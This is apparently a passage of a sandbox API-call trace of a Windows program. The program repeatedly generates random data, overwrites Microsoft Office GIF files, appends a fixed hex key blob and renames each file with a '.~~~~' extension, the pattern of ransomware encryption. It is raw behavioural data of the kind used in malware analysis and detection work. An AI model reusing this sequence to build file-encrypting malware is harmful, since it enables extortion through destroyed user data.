	[0129.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0129.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0129.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0129.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a28688
	[0129.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a28688 | out: hHeap=0x300000) returned 1
	[0129.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7a38
	[0129.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c18f0
	[0129.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7a38 | out: hHeap=0x300000) returned 1
	[0129.875] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0129.876] GetLastError () returned 0x0
	[0129.876] GetLastError () returned 0x0
	[0129.876] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0129.876] GetLastError () returned 0x0
	[0129.876] GetLastError () returned 0x0
	[0129.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffebc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.878] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x144, lpOverlapped=0x0) returned 1
	[0129.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.881] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.881] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.881] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.881] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.881] CloseHandle (hObject=0x130) returned 1
	[0129.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7a38
	[0129.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif.~~~~")) returned 1
	[0129.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7a38 | out: hHeap=0x300000) returned 1
	[0129.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0129.924] GetLastError () returned 0x0
	[0129.949] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0129.950] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.950] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.951] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24994066311) returned 1
	[0129.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb6e5de30, dwHighDateTime=0x1d60e1e)) 
	[0129.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a2a1e0
	[0129.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a2a1e0 | out: hHeap=0x300000) returned 1
	[0129.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1f48
	[0129.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1c80
	[0129.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0129.951] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0129.952] GetLastError () returned 0x0
	[0129.952] GetLastError () returned 0x0
	[0129.952] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0129.952] GetLastError () returned 0x0
	[0129.952] GetLastError () returned 0x0
	[0129.955] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffe92, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.955] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x16e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x16e, lpOverlapped=0x0) returned 1
	[0129.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.958] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.958] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.958] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.958] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.959] CloseHandle (hObject=0x120) returned 1
	[0129.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1f48
	[0129.959] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15035_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15035_.gif.~~~~")) returned 1
	[0129.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0129.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.997] GetLastError () returned 0x0
	[0130.034] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.035] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.035] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0130.036] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25002591135) returned 1
	[0130.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb6f42670, dwHighDateTime=0x1d60e1e)) 
	[0130.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a2b590
	[0130.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a2b590 | out: hHeap=0x300000) returned 1
	[0130.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38ef10
	[0130.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1ee0
	[0130.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ef10 | out: hHeap=0x300000) returned 1
	[0130.037] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.037] GetLastError () returned 0x0
	[0130.037] GetLastError () returned 0x0
	[0130.037] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.037] GetLastError () returned 0x0
	[0130.038] GetLastError () returned 0x0
	[0130.043] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffb7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.043] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x482, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x482, lpOverlapped=0x0) returned 1
	[0130.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.045] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.045] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.046] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.046] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.046] CloseHandle (hObject=0x114) returned 1
	[0130.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38ef10
	[0130.046] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15184_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15184_.gif.~~~~")) returned 1
	[0130.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ef10 | out: hHeap=0x300000) returned 1
	[0130.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.058] GetLastError () returned 0x0
	[0130.073] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.074] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.074] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.075] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25006492179) returned 1
	[0130.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb6f8e930, dwHighDateTime=0x1d60e1e)) 
	[0130.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a2bc58
	[0130.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a2bc58 | out: hHeap=0x300000) returned 1
	[0130.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c21d8
	[0130.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.076] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.076] GetLastError () returned 0x0
	[0130.077] GetLastError () returned 0x0
	[0130.077] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.077] GetLastError () returned 0x0
	[0130.077] GetLastError () returned 0x0
	[0130.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffe46, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.079] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1ba, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1ba, lpOverlapped=0x0) returned 1
	[0130.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.081] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.082] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.082] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.082] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.085] CloseHandle (hObject=0x114) returned 1
	[0130.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.086] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15302_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15302_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15302_.gif.~~~~")) returned 1
	[0130.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.135] GetLastError () returned 0x0
	[0130.135] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.136] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.136] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.137] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25012676566) returned 1
	[0130.137] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7026eb0, dwHighDateTime=0x1d60e1e)) 
	[0130.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822b88
	[0130.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822b88 | out: hHeap=0x300000) returned 1
	[0130.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c23a0
	[0130.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.138] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.138] GetLastError () returned 0x0
	[0130.138] GetLastError () returned 0x0
	[0130.138] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.138] GetLastError () returned 0x0
	[0130.138] GetLastError () returned 0x0
	[0130.154] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffe5eb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.155] WriteFile (in: hFile=0x114, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1a15, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x1a15, lpOverlapped=0x0) returned 1
	[0130.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0130.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.157] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.157] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.157] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.157] CloseHandle (hObject=0x114) returned 1
	[0130.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.158] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21313_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21313_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21313_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21313_.gif.~~~~")) returned 1
	[0130.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.159] GetLastError () returned 0x0
	[0130.160] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.161] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.161] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
